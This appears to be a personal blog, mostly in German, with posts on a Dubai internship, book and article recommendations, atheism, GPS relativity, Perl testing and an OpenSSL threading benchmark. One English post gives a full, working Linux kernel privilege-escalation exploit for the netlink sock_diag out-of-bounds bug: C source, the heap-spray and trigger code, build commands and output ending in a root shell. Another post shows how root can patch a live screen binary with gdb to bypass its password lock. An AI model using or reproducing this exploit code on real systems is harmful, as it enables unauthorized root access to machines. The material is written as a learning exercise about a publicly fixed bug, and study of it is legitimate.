Hier noch ein paar Bilder. Die Metro-Stationen sehen ziemlich futuristisch aus, und werden nonstop von innen gereinigt.
Das Burj Khalifa aus der Ferne…
… und der Blick vom 124. Stock runter:
Und in der Wüste war ich natürlich auch:
Viel Zeit heute zum Lesen, auch wenn in Dubai kein Feiertag ist.
The science of obfuscation über Datensammler und absichtliche Verschleierung:
Obviously there is nothing inherently wrong with gathering data on individuals — it is lifeblood of the work of the epidemiologist, for example, and the starting point for many of the benefits mentioned above. It is in the combination of data gathering with authority and its interests where the problem begins. […] We don’t have access to the other databases, nor the techniques and the training in mathematics and computer science, to comprehend what can be done with seemingly trivial details from our lives and activities, and how they can provide more powerful, total and revealing analyses than we could have anticipated [14]. The inconsequential and even benign can quickly become the problematic and sinister.
Wenn ihr euch fragt, was Mathematiker eigentlich so machen, wenn sie ein gewisses Level erreicht haben: Diese Staubsaugeranalogie hilft weiter. So lustig es klingt, so wahr ist es auch.
Ein paar Gedanken zur Zeitumstellung und dem Konzept des „sozialen Jetlag“.
Hier spricht mal ein Insider darüber, dass das Problem der Finanzkrise natürlich kein Liquiditätsproblem ist, auch wenn man das jetzt noch nicht zugeben kann.
Während in Portugal der Besitz von geringen Mengen von Drogen seit 12 Jahren straffrei ist and die Bilanz recht gut aussieht, importiert man in UK schon Chinesen, um Amphetamine aus nicht staatlich kontrollierten Substanzen herzustellen.
Interessanter Artikel der ehemaligen Redenschreiberin von Zuckerberg über das neue Buch der COO von Facebook, Sandberg: Feminism’s Tipping Point: Who Wins from Leaning in?:
Sandberg’s book, very strategically, makes no mention of feminist critiques of Facebook, and instead imagines a feminist platform where women’s problems with undercompensation and sexism lie in women themselves, thus negating the need to change Facebook’s operations. In this way Sandberg is able to deploy Facebook’s oft-used tactic of building an in-house version of a competitive product, a move traditionally deployed against apps, against competing feminisms.
Greg Palast über den Irak und das Öl
Ich habe das Harlem-Shake-Video ja noch nicht gesehen, aber anscheinend war das im wesentlichen Fabrikation. Siehe auch: Wie die Reddit-Kultur sich als Werbevehikel missbrauchen lässt. (Wobei es da natürlich auch immer grandioses zu finden gibt.)
Und eine Studie belegt, dass das Klischee das zufriedenen, faulen Arbeitslosen ziemlicher Humbug ist.
Update 03. April: Hatte ich schon irgendwo abgelegt, aber erst heute gelesen: Sehr wichtiger Artikel von Morozov über Tim O’Reilly.
Was ich ja immer wieder faszinierend finde, ist die meist vollkommen unbemerkte und unreflektierte, aber in weiten Teilen der Bevölkerung vorherrschende Meinung, Atheisten hätten keine Meinungen oder Gefühle, die man respektieren müsste – während parallel dazu gefordert wird, doch toleranter gegenüber den Gläubigen des Islam/Christentum/Papst etc. zu sein, und ihre religiösen Gefühle zu schonen. DieStandard schreibt:
Das Ereignis Papst-Wahl verleitete viele Medien dazu, zu vergessen, dass nicht nur religiöse Gefühle verletzt werden können, sondern auch atheistische.
Das eine sind direkte Angriffe wie „Die Nichtgläubigen werden in der Hölle schmoren!“ und dergleichen; aber darum geht es mir nicht. Vielmehr geht es mir darum, wie ungleich hier argumentiert wird. Wenn Deniz Yücel seinen Kommentar über den neuen Papst beginnt mit:
Der neue Papst ist, den bislang vorliegenden Informationen nach zu urteilen, ein reaktionärer alter Sack wie sein Vorgänger, der seinerseits einem reaktionären alten Sack gefolgt war, der wiederum einen reaktionären alten Sack beerbt hatte.
… dann finden das die Autoren im Radio Vatikan Blog gelinde gesagt daneben:
[…] aber was gesagt werden muss, muss gesagt werden: Ihr seid dumm.
„Mimimi, die kritisieren unseren Glauben!“ – Mal ganz abgesehen davon, dass der neue Papst ein alter Sack ist und dass die katholische Kirche in ihren Strukturen so alt und verkalkt ist, dass man wohl in jedem anderen Gewerbe sagen würde: „wegschmeißen, aus den Fehlern lernen und neu anfangen“ – ganz abgesehen davon ist dies eine Art von Kritik, die nicht im geringsten anerkennt, wie sehr wir Atheisten jeden Tag für komplett dumm gehalten werden.
Wenn ich so als Atheist durchs Leben gehe, dann steht vor jeder religiösen Botschaft immer auch der Satz: „Wir halten euch alle für so dämlich und gutgläubig, dass ihr auch das Folgende akzeptieren werdet: …“. – Das fängt an bei Behauptungen wie dass die Kirche doch Ursprung und Bewahrer demokratischer Grundideale ist, geht weiter mit der Verbreitung rückständiger Sexual-, Moral- und Verantwortungs-Vorstellungen sowie Familienbildern und kulminiert natürlich in den diversen Mythen, die die Grundpfeiler monotheistischer Religionen ausmachen (insbesondere spielt meist ein eifersüchtiger Gott eine tragende Rolle).
So sieht die Realität aus, Tag für Tag. Und wenn mir jemand ernsthaft weismachen will, dass es keine intellektuelle Beleidigung ist, in einer renommierten Zeitung seitenlange Berichterstattung über einen Papst zu lesen, der im Jahre 2013 Abtreibung und gleichgeschlechtliche Beziehungen verbietet – anstatt eines Aufschreis ob der Rückständigkeit dieses Alten Sackes mitsamt seiner Institution – dann würde ich das gerne mal hören. Und bitte ohne die Worte „Tradition“, „althergebracht“ oder „weithin akzeptiert“ zu verwenden. Das wäre unsachlich.
The famous screen program – luckily by now mostly obsolete thanks to tmux – has a feature to “password lock” a session. The manual:
This is useful if you have privileged programs running under screen and you want to protect your session from reattach attempts by another user masquerading as your uid (i.e. any superuser.)
This is of course utter crap. As the super user, you can do anything you like, including changing a program’s executable at run time, which I want to demonstrate for screen as a POC.
The password is checked on the server side (which usually runs with setuid root) here:
if (strncmp(crypt(pwdata->buf, up), up, strlen(up))) {
...
AddStr("\r\nPassword incorrect.\r\n");
...
}
If I am root, I can patch the running binary. Ultimately, I want to circumvent this passwordcheck. But we need to do some preparation:
First, find the string about the incorrect password that is passed to
AddStr
. Since this is a compile-time constant, it is stored in the
.rodata
section of the ELF.
Just fire up GDB on the screen binary, list the sections (redacted for brevity here)…
(gdb) maintenance info sections
Exec file:
`/usr/bin/screen', file type elf64-x86-64.
...
0x00403a50->0x0044ee8c at 0x00003a50: .text ALLOC LOAD READONLY CODE HAS_CONTENTS
0x0044ee8c->0x0044ee95 at 0x0004ee8c: .fini ALLOC LOAD READONLY CODE HAS_CONTENTS
0x0044eea0->0x00458a01 at 0x0004eea0: .rodata ALLOC LOAD READONLY DATA HAS_CONTENTS
...
… and search for said string in the .rodata
section:
(gdb) find 0x0044eea0, 0x00458a01, "\r\nPassword incorrect.\r\n"
0x45148a
warning: Unable to access target memory at 0x455322, halting search.
1 pattern found.
Now, we need to locate the piece of code comparing the password. Let’s
first search for the call to AddStr
by taking advantage of the fact
that we know the address of the string that will be passed as the
argument. We search in .text
for the address of the string:
(gdb) find 0x00403a50, 0x0044ee8c, 0x45148a
0x41b371
1 pattern found.
Now there should be a jne
instruction shortly before that (this
instruction stands for “jump if not equal” and has the opcode 0x75).
Let’s search for it:
(gdb) find/b 0x41b371-0x100, +0x100, 0x75
0x41b2f2
1 pattern found.
Decode the instruction:
(gdb) x/i 0x41b2f2
0x41b2f2: jne 0x41b370
This is it. (If you want to be sure, search the instructions before
that. Shortly before that, at 0x41b2cb, I find: callq 403120 <strncmp@plt>
.)
Now we can simply patch the live binary, changing 0x75 to 0x74 (jne
to je
or “jump if equal”), thus effectively inverting the if
expression. Find the screen server process (it’s written in all caps
in the ps
output, i.e. SCREEN
) and patch it like this, where
=(cmd)
is a Z-Shell shortcut for “create temporary file and delete
it after the command finishes”:
$ sudo gdb -batch -p 23437 -x =(echo "set *(unsigned char *)0x41b2f2 = 0x74\nquit")
All done. Just attach using screen -x
, but be sure not to enter
the correct password: That’s the only one that will not give you
access now.
Komplett zustimmen konnte ich diesem Tweet von Afelia von vor ein paar Tagen:
Theorie: Alles ist auch deswegen schlecht, weil kaum einer von uns seit drei Monaten die Sonne gesehen hat.
Und die Tagesschau bestätigt’s heute:
Der Winter 2012/2013 ist der sonnenscheinärmste seit Beginn der flächendeckenden Wetteraufzeichnungen im Jahr 1951. … Seit Anfang Dezember gab es in Deutschland im Schnitt nur 96 Sonnenstunden, normal sind 154.
Nächsten Winter muss ich mir was überlegen um das zu überleben, und zwar früh. Johanniskraut? Tageslichtlampen? Solarium? Mal schauen. – Noch bin ich leider nicht in der Position, einfach den gesamten Winter in Äquatornähe verbringen zu können.
So my friend Nico tweeted that there is an „easy linux kernel privilege escalation“ and pointed to a fix from three days ago. If that’s so easy, I thought, then I’d like to try: And thus I wrote my first Kernel exploit. I will share some details here. I guess it is pointless to withhold the details or a fully working exploit, since some russians have already had an exploit for several months, and there seem to be several similar versions flying around the net, I discovered later. They differ in technique and reliability, and I guess others can do better than me.
I have no clue what the NetLink subsystem really is, but never mind. The commit description for the fix says:
Userland can send a netlink message requesting SOCK_DIAG_BY_FAMILY with a family greater or equal then AF_MAX -- the array size of sock_diag_handlers[]. The current code does not test for this condition therefore is vulnerable to an out-of-bound access opening doors for a privilege escalation.
So we should do exactly that! One of the hardest parts was actually
finding out how to send such a NetLink message, but I’ll come to that
later. Let’s first have a look at the code that was patched (this is
from net/core/sock_diag.c
):
static int __sock_diag_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh)
{
int err;
struct sock_diag_req *req = nlmsg_data(nlh);
const struct sock_diag_handler *hndl;
if (nlmsg_len(nlh) < sizeof(*req))
return -EINVAL;
/* check for "req->sdiag_family >= AF_MAX" goes here */
hndl = sock_diag_lock_handler(req->sdiag_family);
if (hndl == NULL)
err = -ENOENT;
else
err = hndl->dump(skb, nlh);
sock_diag_unlock_handler(hndl);
return err;
}
The function sock_diag_lock_handler()
locks a mutex and effectively
returns sock_diag_handlers[req->sdiag_family]
, i.e. the unsanitized
family number received in the NetLink request. Since AF_MAX
is 40,
we can effectively return memory from after the end of
sock_diag_handlers
(“out-of-bounds access”) if we specify a family
greater or equal to 40. This memory is accessed as a
struct sock_diag_handler {
__u8 family;
int (*dump)(struct sk_buff *skb, struct nlmsghdr *nlh);
};
… and err = hndl->dump(skb, nlh);
calls the function pointed to in
the dump
field.
So we know: The Kernel follows a pointer to a sock_diag_handler
struct, and calls the function stored there. If we find some
suitable and (more or less) predictable value after the end of the
array, then we might store a specially crafted struct at the
referenced address that contains a pointer to some code that will
escalate the privileges of the current process. The main
function
looks like this:
int main(int argc, char **argv)
{
prepare_privesc_code();
spray_fake_handler((void *)0x0000000000010000);
trigger();
return execv("/bin/sh", (char *[]) { "sh", NULL });
}
First, we need to store some code that will escalate the privileges. I found these slides and this ksplice blog post helpful for that, since I’m not keen on writing assembly.
/* privilege escalation code */
#define KERNCALL __attribute__((regparm(3)))
void * (*prepare_kernel_cred)(void *) KERNCALL;
void * (*commit_creds)(void *) KERNCALL;
/* match the signature of a sock_diag_handler dumper function */
int privesc(struct sk_buff *skb, struct nlmsghdr *nlh)
{
commit_creds(prepare_kernel_cred(0));
return 0;
}
/* look up an exported Kernel symbol */
void *findksym(const char *sym)
{
void *p, *ret;
FILE *fp;
char s[1024];
size_t sym_len = strlen(sym);
fp = fopen("/proc/kallsyms", "r");
if(!fp)
err(-1, "cannot open kallsyms: fopen");
ret = NULL;
while(fscanf(fp, "%p %*c %1024s\n", &p, s) == 2) {
if(!!strncmp(sym, s, sym_len))
continue;
ret = p;
break;
}
fclose(fp);
return ret;
}
void prepare_privesc_code(void)
{
prepare_kernel_cred = findksym("prepare_kernel_cred");
commit_creds = findksym("commit_creds");
}
This is pretty standard, and you’ll find many variations of that in different exloits.
Now we spray a struct containing this function pointer over a sizable amount of memory:
void spray_fake_handler(const void *addr)
{
void *pp;
int po;
/* align to page boundary */
pp = (void *) ((ulong)addr & ~0xfffULL);
pp = mmap(pp, 0x10000, PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
if(pp == MAP_FAILED)
err(-1, "mmap");
struct sock_diag_handler hndl = { .family = AF_INET, .dump = privesc };
for(po = 0; po < 0x10000; po += sizeof(hndl))
memcpy(pp + po, &hndl, sizeof(hndl));
}
The memory is mapped with MAP_FIXED
, which makes mmap()
take the
memory location as the de facto location, not merely a hint. The
location must be a multiple of the page size (which is 4096 or 0x1000
by default), and on most modern systems you cannot map the zero-page
(or other low pages), consult sysctl vm.mmap_min_addr
for this.
(This is to foil attempts to map code to the zero-page to take
advantage of a Kernel NULL pointer derefence.)
Now for the actual trigger. To get an idea of what we can do, we
should first inspect what comes after the sock_diag_handlers
array
in the currently running Kernel (this is only possible with root
permissions). Since the array is static to that file, we cannot look up
the symbol. Instead, we look up the address of a function that
accesses said array, sock_diag_register()
:
$ grep -w sock_diag_register /proc/kallsyms
ffffffff812b6aa2 T sock_diag_register
If this returns all zeroes, try grepping in /boot/System.map-$(uname -r)
instead. Then disassemble the function. I annotated the relevant
points with the corresponding C code:
$ sudo gdb -c /proc/kcore
(gdb) x/23i 0xffffffff812b6aa2
0xffffffff812b6aa2: push %rbp
0xffffffff812b6aa3: mov %rdi,%rbp
0xffffffff812b6aa6: push %rbx
0xffffffff812b6aa7: push %rcx
0xffffffff812b6aa8: cmpb $0x27,(%rdi) ; if (hndl->family >= AF_MAX)
0xffffffff812b6aab: ja 0xffffffff812b6ae5
0xffffffff812b6aad: mov $0xffffffff81668c20,%rdi
0xffffffff812b6ab4: mov $0xfffffff0,%ebx
0xffffffff812b6ab9: callq 0xffffffff813628ee ; mutex_lock(&sock_diag_table_mutex);
0xffffffff812b6abe: movzbl 0x0(%rbp),%eax
0xffffffff812b6ac2: cmpq $0x0,-0x7e7fe930(,%rax,8) ; if (sock_diag_handlers[hndl->family])
0xffffffff812b6acb: jne 0xffffffff812b6ad7
0xffffffff812b6acd: mov %rbp,-0x7e7fe930(,%rax,8) ; sock_diag_handlers[hndl->family] = hndl;
0xffffffff812b6ad5: xor %ebx,%ebx
0xffffffff812b6ad7: mov $0xffffffff81668c20,%rdi
0xffffffff812b6ade: callq 0xffffffff813628db
0xffffffff812b6ae3: jmp 0xffffffff812b6aea
0xffffffff812b6ae5: mov $0xffffffea,%ebx
0xffffffff812b6aea: pop %rdx
0xffffffff812b6aeb: mov %ebx,%eax
0xffffffff812b6aed: pop %rbx
0xffffffff812b6aee: pop %rbp
0xffffffff812b6aef: retq
The syntax cmpq $0x0,-0x7e7fe930(,%rax,8)
means: check if the value
at the address -0x7e7fe930
(which is a shorthand for
0xffffffff818016d0
on my system) plus 8 times %rax
is zero – eight
being the size of a pointer on a 64-bit system, and %rax
the address of the first argument to the function, but at the same
time, if you only take one 64-bit-slice, the first member of the (not
packed) struct, i.e. the family
field. So this line is an array
access, and we know that sock_diag_handlers
is located at -0x7e7fe930
.
(All these steps can actually be done without root permissions: You
can unpack the Kernel with something like k=/boot/vmlinuz-$(uname -r)
&& dd if=$k bs=1 skip=$(perl -e 'read STDIN,$k,1024*1024; print
index($k, "\x1f\x8b\x08\x00");' <$k) | zcat >| vmlinux
and start
GDB on the resulting ELF file. Only now you actually need to inspect
the main memory.)
(gdb) x/46xg -0x7e7fe930
0xffffffff818016d0: 0x0000000000000000 0x0000000000000000
0xffffffff818016e0: 0x0000000000000000 0x0000000000000000
0xffffffff818016f0: 0x0000000000000000 0x0000000000000000
0xffffffff81801700: 0x0000000000000000 0x0000000000000000
0xffffffff81801710: 0x0000000000000000 0x0000000000000000
0xffffffff81801720: 0x0000000000000000 0x0000000000000000
0xffffffff81801730: 0x0000000000000000 0x0000000000000000
0xffffffff81801740: 0x0000000000000000 0x0000000000000000
0xffffffff81801750: 0x0000000000000000 0x0000000000000000
0xffffffff81801760: 0x0000000000000000 0x0000000000000000
0xffffffff81801770: 0x0000000000000000 0x0000000000000000
0xffffffff81801780: 0x0000000000000000 0x0000000000000000
0xffffffff81801790: 0x0000000000000000 0x0000000000000000
0xffffffff818017a0: 0x0000000000000000 0x0000000000000000
0xffffffff818017b0: 0x0000000000000000 0x0000000000000000
0xffffffff818017c0: 0x0000000000000000 0x0000000000000000
0xffffffff818017d0: 0x0000000000000000 0x0000000000000000
0xffffffff818017e0: 0x0000000000000000 0x0000000000000000
0xffffffff818017f0: 0x0000000000000000 0x0000000000000000
0xffffffff81801800: 0x0000000000000000 0x0000000000000000
0xffffffff81801810: 0x0000000000000000 0x0000000000000000
0xffffffff81801820: 0x000000000000000a 0x0000000000017570
0xffffffff81801830: 0xffffffff8135a666 0xffffffff816740a0
(gdb) p (0xffffffff81801828- -0x7e7fe930)/8
$1 = 43
So now I know that in the Kernel I’m currently running, at the current
moment, sock_diag_handlers[43]
is 0x0000000000017570
, which is a
low address, but hopefully not too low. (Nico reported 0x17670, and a
current grml live cd in KVM
has 0x17470 there.) So we need to send a NetLink message with
SOCK_DIAG_BY_FAMILY
type set in the header, flags at least
NLM_F_REQUEST
and the family set to 43. This is what the trigger
does:
void trigger(void)
{
int nl = socket(PF_NETLINK, SOCK_RAW, 4 /* NETLINK_SOCK_DIAG */);
if (nl < 0)
err(-1, "socket");
struct {
struct nlmsghdr hdr;
struct sock_diag_req r;
} req;
memset(&req, 0, sizeof(req));
req.hdr.nlmsg_len = sizeof(req);
req.hdr.nlmsg_type = SOCK_DIAG_BY_FAMILY;
req.hdr.nlmsg_flags = NLM_F_REQUEST;
req.r.sdiag_family = 43; /* guess right offset */
if(send(nl, &req, sizeof(req), 0) < 0)
err(-1, "send");
}
All done! Compiling might be difficult, since you need Kernel struct
definitions. I used -idirafter
and my Kernel headers.
$ make
gcc -g -Wall -idirafter /usr/src/linux-headers-`uname -r`/include -o kex kex.c
$ ./kex
# id
uid=0(root) gid=0(root) groups=0(root)
Note: If something goes wrong, you’ll get a “general protection fault: 0000 [#1] SMP” that looks scary like this:
But by pressing Ctrl-Alt-F1 and -F7 you’ll get the display back. However, the exploit will not work anymore until you have rebooted. I don’t know the reason for this, but it sure made the development cycle an annoying one…
Update: The Protection Fault occurs when first following a bogous function pointer. After that, the exploit cannot longer work because the mutex is still locked and cannot be unlocked. (Thanks, Nico!)
Ich bin nun seit einer Woche in Dubai. Als letzter Teil meines langen Weges zu einem Bachelor-Abschluss muss ich ein Betriebspraktikum machen, das mindestens sechs Wochen dauert. Laut Regulation darf das nicht an meiner Heimatuniversität sein, und auf Nachfrage wurde mir gesagt, dass man eine potentielle Berufslaufbahn erkunden soll, und deswegen freiberufliche Tätigkeiten nicht anerkannt werden (?!). – Also habe ich mich bemüht, das Angenehme mit dem Nützlichen zu verbinden und bin nun in Dubai, um ein Praktikum bei einer Firma abzuleisten, die Netzwerkdienstleistungen für Fluggesellschaften anbietet.
Ganz anders als die anderen Großstädte, in denen ich in den vergangenen Jahren so war, ist Dubai erwartungsgemäß luxuriös und hoch technisiert. Hier scheint alles neu zu sein: Die Metro wurde erst vor zwei Jahren eröffnet, die knapp 80 Jumeirah Lake Towers, die das Viertel ausmachen, in dem ich arbeite, wurden in einem Kraftakt innerhalb von wenigen Jahren gebaut – schön mit künstlichen Seen und einer Metro-Station direkt vor der Tür. (Siehe auch auf Google Maps.)
Ich wohne glücklicherweise direkt an der Metro-Station Business Bay, direkt an der Sheikh Zayed Road, einer in beiden Richtungen sechsspurig verlaufenden Stadtautobahn. Die Straße überquert man bei den Metro-Stationen über (natürlich klimatisierte) und mit Laufbändern wie in Flughäfen ausgestattete Fußgängerbrücken. In meinem Stadtteil sieht man von fast überall das Burj Khalifa, das (momentan noch) höchste Gebäude der Welt.
Dubai ist leider gar nicht so warm, wie ich mir das vorgestellt habe, wobei jetzt wohlgemerkt auch hier noch Winter ist. Tagsüber ist es ganz nett, aber da muss ich ja arbeiten. Ansonsten ist hier alles klimatisiert: Nicht nur alle Wohnhäuser, Büros, die U-Bahnen: Nein, auch die U-Bahn-Stationen und sogar die Bushaltestellen!
Da ich zu Hause weder einen Stuhl noch einen Tisch besitzte, verbringe ich die Abende meist in irgendwelchen Cafés, gestern mit einem meiner Kollegen in Dubai Marina, einem Viertel, das genau wie JLT fast nur aus Wolkenkratzern besteht. Die künstlichen Seen zwischen den Häusern sind dort aber viel tiefer und auch mit Booten vom Meer aus zu erreichen.
Insgesamt ist die Stadt großteils extrem Fußgänger-unfreundlich und zentralisiert. Anstatt ziellos durch die Gegend zu laufen und zufällig ein nettes Restaurant oder Cafe zu finden, fährt man häufig in die nächste Mall, wo dann dutzende oder sogar hunderte Gelegenheiten sind, etwas zu essen. Die Malls sind hier so riesig, dass es Computerterminals gibt, mit Hilfe derer man sich zurecht finden kann und die Auswahl der Läden erkunden kann. Ich hasse Shopping, aber ich werde mich für die Zeit wohl damit abfinden müssen, dass das hier eines der größten Dinge ist.
Dass das Internet hier zensiert wird, ärgert mich. Ich habe mittlerweile herausgefunden, wie man die Maßnahmen umgehen kann, ohne ein VPN zu benutzen; mit der Veröffentlichung der technischen Details warte ich aber sicherheitshalber, bis ich wieder außer Landes bin…
Als Followup zu dem bereits erwähnten Film “Blood in the Mobile”:
Der Kongo spielt nur eine geringe Rolle bei der Versorgung der internationalen Elektronikindustrie. Seit der neuen US-Gesetzgebung von 2010 und den entsprechenden Diskussionen über internationale Regelwerke ist der Coltan- und Zinnexport aus [der krisengeschüttelten Provinz] Kivu faktisch zusammengebrochen, weil niemand mehr das Zeug aus dem Kongo will. Und, kein Zufall: Seit diesem Zusammenbruch schließen sich in Kivu mehr junge Menschen bewaffneten Gruppen an als je zuvor. Der Bergbau bot eine Einkommensmöglichkeit, die jetzt größtenteils weggebrochen ist. Die Krise des Bergbaus ist konfliktfördernder als der Bergbau selbst es je war.
Dieser Absatz ist aus einem Kommentar von Dominic Johnson in dem immer wieder zu empfehlenden Blog Kongo Echo.
Ich habe letzte Woche Freitag meine Bachelorarbeit zum Thema „Klassifikation quaternionischer Möbiustransformationen“ abgegeben und gestern erfolgreich verteidigt. Falls Du also Interesse an Quaternionen oder Möbiustransformationen hast, oder sogar an beidem… dann ist ein Blick in das PDF sicherlich sinnvoll:
Jetzt sitze ich gerade am Flughafen Schönefeld an einem Gate ohne Sitzgelegenheiten auf dem Boden und warte auf meinen Flug über Istanbul nach Dubai – und darf mich wohl auf sommerliche Temperaturen freuen!
Ich habe den besseren Teil des heutigen Abends damit verbracht, die „Reflexivity Lectures“ von George Soros aus dem Jahre 2009 zu lesen, und bin tief beeindruckt. Soros legt in den fünf sehr zugänglichen Vorlesungen seine Theorie der Reflexivität dar, und wendet sie auf Marktwirtschaft und Politik an.
Ich habe mich im vergangenen Jahr relativ viel mit behavioral economics („Verhaltensökonomik“, siehe z.B. Kahnemann) und Poststrukturalismus als Philosophie beschäftigt. Beide Theorien spielen eine Rolle in der Argumentation Soros’, insgesamt geht es sehr viel darum, wie wir mit fallacies, also Fehlschlüssen, umgehen können und sollen.
Aus dem Schluss des ersten Teils:
But by far the most impressive attempt [to eliminate the difficulties connected with the human uncertainty principle] has been mounted by economic theory. It started out by assuming perfect knowledge and when that assumption turned out to be untenable it went through ever increasing contortions to maintain the fiction of rational behavior. Economics ended up with the theory of rational expectations which maintains that there is a single optimum view of the future, that which corresponds to it, and eventually all the market participants will converge around that view. This postulate is absurd but it is needed in order to allow economic theory to model itself on Newtonian physics.
Der zweite Teil beschäftigt sich mit den Implikationen der Reflexivität auf Marktsysteme; besonders interessant ist dabei die Feststellung, dass die Erkenntnisse der Verhaltensökonomik nur die eine Seite der Medallie darstellen. Teil drei re-interpretiert den Popper’schen Begriff der Open Society, und Soros führt in Teil vier die Inkompatibilitäten eines Kapitalismus’ Chicagoer Schule zu einer Offenen Gesellschaft auf.
Der fünfte Teil bietet eine Zusammenfassung sowie einen Ausblick. Aus heutiger Sicht sind einige der Hoffnungen leider etwas utopisch. Die erwähnten Gefahren sind aber sehr wohl noch prävalent.
Unbedingte Leseempfehlung.
Schönes Licht wird unterschätzt!
Irgendwie habe ich nie wirklich darüber nachgedacht – aber natürlich unterliegen die Atomuhren in den GPS-Satelliten relativistischen Effekten, die man kompensieren muss:
For GPS satellites, GR [General Relativity Theory] predicts that the atomic clocks at GPS orbital altitudes will tick faster by about 45,900 ns/day because they are in a weaker gravitational field than atomic clocks on Earth's surface. Special Relativity (SR) predicts that atomic clocks moving at GPS orbital speeds will tick slower by about 7,200 ns/day than stationary ground clocks. Rather than have clocks with such large rate differences, the satellite clocks are reset in rate before launch to compensate for these predicted effects. In practice, simply changing the international definition of the number of atomic transitions that constitute a one-second interval accomplishes this goal. Therefore, we observe the clocks running at their offset rates before launch. Then we observe the clocks running after launch and compare their rates with the predictions of relativity, both GR and SR combined. If the predictions are right, we should see the clocks run again at nearly the same rates as ground clocks, despite using an offset definition for the length of one second.
The standard book Perl Best Practices advises in chapter 4.5 that
one should use the Readonly
Perl module instead of the
constant
standard module for various reasons.
An example might look like this:
package Myprogram;
use Exporter;
use Readonly;
our @EXPORT = qw(conffile);
Readonly our $BASEPATH => "$ENV{HOME}/.myprogram";
sub conffile { "$BASEPATH/config.ini" }
If you want to unit test your program now, you cannot just mess around
and replace a potentially existing config file with a bogous
one. You have to create a temporary directory and use that as the base
path. That is, you have to modify your Readonly
declared variable.
I’ve not seen this documented, so I guess this might help others:
Internally the method Readonly::Scalar::STORE
is called when you do
an assignment (see man perltie
for details). In Readonly.pm
, this is
redefined to
*STORE = *UNTIE = sub {Readonly::croak $Readonly::MODIFY};
which dies with an error message. So you only have to circumvent this.
The method STORE
gets a reference of the location as first argument,
and the value as second argument. So a quick-and-dirty workaround is
just setting
*Readonly::Scalar::STORE = sub { ${$_[0]} = $_[1]; };
prior to assigning to the Readonly variable. If you want to do it properly, you should only change this locally in the block where you re-assign the value, so that subsequent attempts will again produce the usual error message. Such a test might look like this:
use strict;
use warnings;
use Test::More 'no_plan';
use Myprogram;
{
no warnings 'redefine';
local *Readonly::Scalar::STORE = sub { ${$_[0]} = $_[1]; };
$Myprogram::BASEPATH = "/tmp";
}
is(Myprogram::conffile, "/tmp/config.ini", "get config filename");
For non-scalar values, this will probably work similar. (Read the source if in doubt.)
So I was reading some rather not so clever code today. I had a gut
feeling something was wrong with the code, since I had never seen an
idiom like that. A server that does a little hash calculation with
lots of threads – and the function that computes the hash had a
peculiar feature: Its entire body was wrapped by a mutex lock/unlock
clause of a function-static mutex PTHREAD_MUTEX_INITIALIZER
, like
this:
static EVP_MD_CTX mdctx;
static pthread_mutex_t lock = PTHREAD_MUTEX_INITIALIZER;
static unsigned char first = 1;
pthread_mutex_lock(&lock);
if (first) {
EVP_MD_CTX_init(&mdctx);
first = 0;
}
/* the actual hash computation using &mdctx */
pthread_mutex_unlock(&lock);
In other words, if this function is called multiple times from different threads, it is only run once at a time, possibly waiting for other instances to unlock the (shared) mutex first.
The computation code inside the function looks roughly like this:
if (!EVP_DigestInit_ex(&mdctx, EVP_sha256(), NULL) ||
!EVP_DigestUpdate(&mdctx, input, inputlen) ||
!EVP_DigestFinal(&mdctx, hash, &md_len)) {
ERR_print_errors_fp(stderr);
exit(-1);
}
This is the typical OpenSSL pattern: You tell it to initialize mdctx
to
compute the SHA256 digest, then you “update” the digest (i.e., you
feed it some bytes) and then you tell it to finish, storing the
resulting hash in hash
. If either of the functions fail, the OpenSSL
error is printed.
So the lock
mutex really only protects the mdctx
(short for
‘message digest context’). And my gut feeling was that re-initializing the
context all the time (i.e. copying stuff around) is much cheaper
than synchronizing all the hash operations (i.e., having one stupid
bottleneck).
To be sure, I ran a few tests. I wrote a simple C program that scales up the number of threads and looks at how much time you need to hash 10 million 16-byte strings. (You can find the whole quick’n’dirty code on Github.)
First, I have to create a dataset. In order for it to be the same all
the time, I use rand_r()
with a hard-coded seed, so that over all
iterations, the random data set is actually equivalent:
#define DATANUM 10000000
#define DATASIZE 16
static char data[DATANUM][DATASIZE];
void init_data(void)
{
int n, i;
unsigned int seedp = 0xdeadbeef; /* make the randomness predictable */
char alpha[] = "abcdefghijklmnopqrstuvwxyz";
for(n = 0; n < DATANUM; n++)
for(i = 0; i < DATASIZE; i++)
data[n][i] = alpha[rand_r(&seedp) % 26];
}
Next, you have to give a helping hand to OpenSSL so that it can be run multithreaded. (There are, it seems, certain internal data structures that need protection.) This is a technical detail.
Then I start num
threads on equally-sized slices of data
while recording and
printing out timing statistics:
void hash_all(int num)
{
int i;
pthread_t *t;
struct fromto *ft;
struct timespec start, end;
double delta;
clock_gettime(CLOCK_MONOTONIC, &start);
t = malloc(num * sizeof *t);
for(i = 0; i < num; i++) {
ft = malloc(sizeof(struct fromto));
ft->from = i * (DATANUM/num);
ft->to = ((i+1) * (DATANUM/num)) > DATANUM ?
DATANUM : (i+1) * (DATANUM/num);
pthread_create(&t[i], NULL, hash_slice, ft);
}
for(i = 0; i < num; i++)
pthread_join(t[i], NULL);
clock_gettime(CLOCK_MONOTONIC, &end);
delta = end.tv_sec - start.tv_sec;
delta += (end.tv_nsec - start.tv_nsec) / 1000000000.0;
printf("%d threads: %ld hashes/s, total = %.3fs\n",
num, (unsigned long) (DATANUM / delta), delta);
free(t);
sleep(1);
}
Each thread runs the hash_slice()
function, which linearly iterates
over the slice and calls hash_one(n)
for each entry. With
preprocessor macros, I define two versions of this function:
void hash_one(int num)
{
int i;
unsigned char hash[EVP_MAX_MD_SIZE];
unsigned int md_len;
#ifdef LOCK_STATIC_EVP_MD_CTX
static EVP_MD_CTX mdctx;
static pthread_mutex_t lock = PTHREAD_MUTEX_INITIALIZER;
static unsigned char first = 1;
pthread_mutex_lock(&lock);
if (first) {
EVP_MD_CTX_init(&mdctx);
first = 0;
}
#else
EVP_MD_CTX mdctx;
EVP_MD_CTX_init(&mdctx);
#endif
/* the actual hashing from above */
#ifdef LOCK_STATIC_EVP_MD_CTX
pthread_mutex_unlock(&lock);
#endif
return;
}
The Makefile produces two binaries:
$ make
gcc -Wall -pthread -lrt -lssl -DLOCK_STATIC_EVP_MD_CTX -o speedtest-locked speedtest.c
gcc -Wall -pthread -lrt -lssl -o speedtest-copied speedtest.c
… and the result is as expected. On my Intel i7-2620M quadcore:
$ ./speedtest-copied
1 threads: 1999113 hashes/s, total = 5.002s
2 threads: 3443722 hashes/s, total = 2.904s
